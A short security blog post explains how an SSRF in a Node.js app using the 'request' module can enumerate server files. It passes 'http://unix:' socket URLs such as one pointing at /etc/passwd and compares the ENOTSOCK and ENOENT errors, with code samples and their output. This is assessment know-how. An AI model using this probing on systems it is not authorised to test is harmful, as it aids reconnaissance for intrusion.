If you ever find Server Side Request Forgery (SSRF) in a node.js based application and the app is using the request module you can use a special url format to detect the existence of files / directories.
While request does not support the file:// scheme it does supports a special url format to communicate with unix domain sockets and the errors returned from a file existing vs not existing are different.
The format looks like this. http://unix:SOCKET:PATH and for our purposes we can ignore PATH all together.
Let’s take this code for example. We’re assuming that as a user we can somehow control the url.
File exists condition:
const Request = require('request')
Request.get('[http://unix:/etc/passwd'](http://unix:/etc/passwd'), (err) => {
console.log(err)
})
As /etc/password exists request will try and use it as a unix socket, of course it is not a unix socket so it will give a connection failure error.
{ Error: connect **ENOTSOCK** /etc/passwd
at Object._errnoException (util.js:1024:11)
at _exceptionWithHostPort (util.js:1046:20)
at PipeConnectWrap.afterConnect [as oncomplete] (net.js:1182:14)
code: 'ENOTSOCK',
errno: 'ENOTSOCK',
syscall: 'connect',
address: '/etc/passwd' }
File does not exist condition:
Using the same code with a different file that does not exist.
const Request = require('request')
Request.get('[http://unix:/does/not/exist'](http://unix:/etc/passwd'), (err) => {
console.log(err)
})
The resulting error looks like this.
{ Error: connect **ENOENT** /does/not/exist
at Object._errnoException (util.js:1024:11)
at _exceptionWithHostPort (util.js:1046:20)
at PipeConnectWrap.afterConnect [as oncomplete] (net.js:1182:14)
code: 'ENOENT',
errno: 'ENOENT',
syscall: 'connect',
address: '/does/not/exist' }
The different is small: ENOTSOCK, vs ENOENT
While not that severe of an issue on its own it’s a trick that’s help me on past security assessments to enumerate file path locations. Maybe you’ll find it useful too.
Originally posted on Medium